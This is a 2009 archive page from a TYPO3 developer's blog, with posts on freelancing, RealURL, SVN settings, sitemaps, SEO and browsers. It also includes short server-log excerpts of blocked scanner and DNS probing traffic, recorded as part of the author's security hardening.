If you never saw Komodo IDE, here is a screenshot (click for the full size image):

Mar 2, 2009

Freelancing again

Starting from today I am a full time freelancer. My employment with Netcreators finished last week. I worked for them 15 months and now I am free again.

Freelancing will give me more time to do what I like to do. In particular I will focus on TYPO3 services that I know best, do best and want to provide to other people and companies. Also I plan to (self–)study various disciplines. I will manage my time on my own and report to myself. It is an incredible feeling when a man can choose what to do.

This blog remains one of my priorities too. I plan to continue publishing unique TYPO3 information here. Also I have several pending changes to the TemplaVoila, RealURL and portal extensions that I want to finish soon.

If any of my readers want to outsource their work to me, you are welcome to read my services page and contact me.

Mar 1, 2009

How many subscribers do I have?

I know that many people read this blog using a feed reader. But I have no idea how many read it and what format people prefer: ATOM or RSS.

Now I changed my feeds to stream through the FeedBurner. FeedBurner will give me some statistics about my subscribers.

If you read this blog using a feed reader, could you do me a little favor? Please, unsubscribe and re–subscribe to my feed through the FeedBurner. Here is RSS and ATOM links. This is all I ask. If you prefer to use direct subscription, it is still there, of course.

Feb 27, 2009

RealURL: separate language domains in an easy way

TYPO3 fully supports the making of multilanguage web sites. Everyone know the L URL parameter. But what if you want to have a separate domain for each language and keep a single page tree? Until recently it was not easy and required certain TYPO3 black magic. In this article I will describe how to do it in 5 minutes (or less!) and give you a bonus: better site position in Google.
Typically when user switches to another language, the URL changes to contain L var ('&L=1'). In case of RealURL it looks better, URL will become http://example.com/en/. This is nice looking. So far, so good.
The problem is that Google and other search engines prefer domains from the user's domain zone. If relevancy is the same, Google will prefer "es" domain to "com" domain for Spain and "de" domain for Germany. It becomes essential to have domains in the corresponding country for better search engine optimization. Registering domains is easy but how to make TYPO3 use them and keep the single page tree?
Solving this task means removing language segments from URL and converting http://example.com/de/mypage to http://example.de/mypage/.
It is possible to have language domains with TYPO3 after doing certain non–trivial TypoScript magic. Alternatively it is possible with some coding. However there is a much better, faster and more simple solution. It is brought to you by RealURL (surprise, surprise!)

Feb 26, 2009

Set SVN properties for TYPO3 extensions

TYPO3 core uses certain coding conventions. One part of these conventions is Unix line ending and file information block form

Unix line endings

Unix line ending are standard in TYPO3. It is easy to enforce them with SVN. SVN has a property named 'svn:eol', which defines what line endings a file gets during checkout. For TYPO3 core and extensions this property should be set to LF. Here is how to do it from the command line (shell):
svn ps svn:eol LF class.tx_myext_whatever.php
All text files inside the extension should have this property.

Feb 25, 2009

A grave mistake with passwords

One grave security–related mistake that I saw twice this month was related to passwords.
You are aware of the TYPO3 vulnerability that allows attackers to read localconf.php file. Lots of sites were attacked and hackers got passwords to some of them.

Camino works faster than FireFox on Mac

Camino is a Gecko–based browser for Mac. It is a little brother (sister?) of FireFox. But unlike FireFox 3 it is works at least two times faster. Why is that? No idea. In addition it takes less memory and does not seem to leak it. Fonts look better in Camino.

I decided to use Camino after FireFox hanged up once again and destroyed all my tabs (despite of session saver extension).

I found only two problems with Camino.

Firsts, it does not import FireFox bookmarks correct. It looks only in the "default" profile ("default.profile" folder). I have FireFox 2 with that profile and FireFox 3 with another profile. Camino does not prompt me what profile to import and gets FireFox 2 bookmarks.

Secondly, it is not possible to install FireFox extensions to Camino. On other hand it can be good: the less extensions, the faster it runs.

1Password is supported for Camino too, so I will not loose any saved login.

I also heard that Opera works fast and well on Mac but I could not get used to it on PC and I do not think anything will change for Mac. So my default browser for now is Camino.

Feb 24, 2009

Another Google sitemap TYPO3 extension

Today morning I sent a Google map extension to the TYPO3 extension repository. I had it for some time already on this and some other sites of mine.
Sitemaps help Google to index your site better and faster. There are only advantages of having them in the TYPO3 web sites.
There several extensions that implement such functionality. Why yet another extension? Here is why:
  • it correctly works with config.baseURL, config.absRefPrefix and domain records. Every other extension does not work with at least one of these settings and creates URLs with host name prepended twice to the URL (invalid URL in the sitemap!)
  • none of the existing extension currently create news sitemap correctly
  • all existing extensions are implements as normal plugins and thus do not perform well enough
My extension is better because it:
  • correctly creates URLs
  • adds a date of last page modification
  • calculates page change frequency based on history of page updates
  • creates news URL correctly
  • uses eID feature, which offers much less load on the server

Feb 23, 2009

How HTML markup affects Google search results


No one knows exactly how Google ranking features work. Google keeps it hidden for obvious reasons: Google wants to maintain better search relevancy and prevent optimizers from moving sites to a higher position in search results.

Several months ago I redesigned several of our sites. Yesterday I checked and found that these sites are on the top position in Google for some popular search terms. I did not expect that really. The content there is good and it is not changed much. However after the redesign site has moved up.

I think the reason is my changes to the markup. Earlier it had a lot of <div> and <table> tags. Now the markup reflects the logical organization of the information. This worked good and I want to share some principles of such design. Here they are:

How to replace a flexform field name without loosing data


Many years ago when I just started to work with TemplaVoila, I did my objects the same way as many people do: separate DS/TO pairs even if objects are similar. For example, on one site I had three types of recipes and I had three separate DS/TO pairs for them. I should have made a single data source and three different template objects instead.
It would not be difficult to change all template objects to use the same data source (just replace data source id for all flexible content elements). The real problem was that fields in data sources were named differently. The data was similar but filed names were different.
How to solve the problem in the most efficient way? Please, stop reading now and think.

Feb 18, 2009

Another bad HTTP request

Here is it:

HEAD /aprunasimies/forums/forum.php?id=2%23page-1 HTTP/1.1
User-Agent: User-Agent
If-Modified-Since: Mozilla/4.0 (compatible; Windows XP 5.1)


%23 is a # character (must not be in the URL sent to the server). User agent is fun and If-Modified-Since is even more fun...

No wonder that it is blocked.

The Internet is full of junk :(

Feb 17, 2009

Useless SQL found in TYPO3

Like any automated system TYPO3 sometimes produces redundant code. Most often it happens in SQL expressions. For example, it is common to see:

SELECT uid from tx_myext_table WHERE 1=1 AND deleted=0 AND hidden=0

The italic part is produced by TYPO3, so the extension's developer has to put "1=1" to make it valid SQL. This is understandable.

What I do not really understand is when people do it like this:

$GLOBALS['TYPO3_DB']->exec_SELECTquery('uid', 'tx_myext_table',
'1=1 AND pid=' . intval($conf['pid']) .
$this->cObj->enableFields('tx_myext_table'));


What is the point of the italic part of the where statement in this code example? Absolutely none.

So why it is there?

Attack on DNS servers

My DNS in under attack for two weeks already. This comes from the IP address daily several times per second:

Feb 17 19:44:32 angel named[14025]: client 62.109.4.89#8639: query (cache) './NS/IN' denied
Feb 17 19:44:35 angel named[14025]: client 62.109.4.89#49699: query (cache) './NS/IN' denied
Feb 17 19:44:35 angel named[14025]: client 62.109.4.89#45419: query (cache) './NS/IN' denied
Feb 17 19:44:38 angel named[14025]: client 62.109.4.89#49667: query (cache) './NS/IN' denied
Feb 17 19:44:38 angel named[14025]: client 62.109.4.89#56759: query (cache) './NS/IN' denied
Feb 17 19:44:42 angel named[14025]: client 62.109.4.89#11347: query (cache) './NS/IN' denied
Feb 17 19:44:42 angel named[14025]: client 62.109.4.89#58937: query (cache) './NS/IN' denied
Feb 17 19:44:44 angel named[14025]: client 62.109.4.89#45638: query (cache) './NS/IN' denied
Feb 17 19:44:44 angel named[14025]: client 62.109.4.89#35305: query (cache) './NS/IN' denied
Feb 17 19:44:48 angel named[14025]: client 62.109.4.89#1079: query (cache) './NS/IN' denied
Feb 17 19:44:48 angel named[14025]: client 62.109.4.89#58384: query (cache) './NS/IN' denied


I ban it and next day it comes from another unrelated address. Stupid and contr–productive.

Feb 15, 2009

Toata dragostea mea pentru diavola


After the recent security issues with TYPO3 I keep an especially close watch on my servers' mod_security logs. jumpurl atacks come from many IP addresses and they are already bore me. However today I saw something new and interesting:

==c5ec995b==============================
Request: 213.21.217.206 190.196.9.138 - - [15/Feb/2009:15:26:10 +0200] "GET /bug/login_page.php HTTP/1.1" 403 220 "-" "Toata dragostea mea pentru diavola" A2x6cn8AAAIAAEygTEwAAAAs "-"
Handler: redirect-handler
----------------------------------------
GET /bug/login_page.php HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Toata dragostea mea pentru diavola
Host: 213.21.217.206
Connection: Close
mod_security-message: Access denied with code 403. <rule is hidden> [severity "EMERGENCY"]
mod_security-action: 403

HTTP/1.1 403 Forbidden
Content-Length: 220
Connection: close
Content-Type: text/html; charset=iso-8859-1
--c5ec995b--

Feb 13, 2009

How I tightened PHP security and broke three extensions


Given the recent security threats with TYPO3 I decided to tighten security a little more on my servers. I already run Apache and other services in chrooted environment with very restricted permissions. Now I decided to implement open_basedir setting. I did not use it before because I know that many extensions are not written with open_basedir in mind. But I decided to risk.

It worked well first. I set open_basedir to "/path/to/site/root/:/path/to/typo3_src/". This is how this and other my sites run now. All was ok.

Today one of the visitors noticed that one particular page is blank. For any more or less experienced TYPO3 developer it means that a PHP error happened and was not shown to the user. I have set devIPmask to my IP address and displayErrors to 2. This way I always see all PHP errors while visitors do not see them.

I went to the page and was very surprised by see an error in an extension of mine, which was not updated for half a year or so. Definitely it broke due to the open_basedir. I turned open_basedir off and page went back to normal.

But what could break? I always program extensions so that they do not go anywhere outside of web root.

Feb 12, 2009

Hackers are hunting!

Despite of many warnings some providers and companies are very slow on updating their TYPO3 web sites. There are reports about successfully hacked sites.

According to my logs hackers are hunting for web sites that still have vulnerable versions. If they find such sites, sites will be hacked. If you care about you business — upgrade your web site!

Jan 21, 2009

MnoGoSearch with advanced search form

As I wrote earlier, I spend a lot of time doing development for TYPO3 extensions. In particular I spent a lot of time on the new feature of the mnogosearch TYPO3 extension (version 2.2). The feature is an advanced search form. At the moment this form allows to select parts of the site where search should be performed. Here is how it looks like:

Enabling the advanced search form

To enable the advanced search form in the mnogosearch TYPO3 extension, the following two steps should be taken:
  • TypoScript of the web site should be modified
  • More than one indexing configuration should exist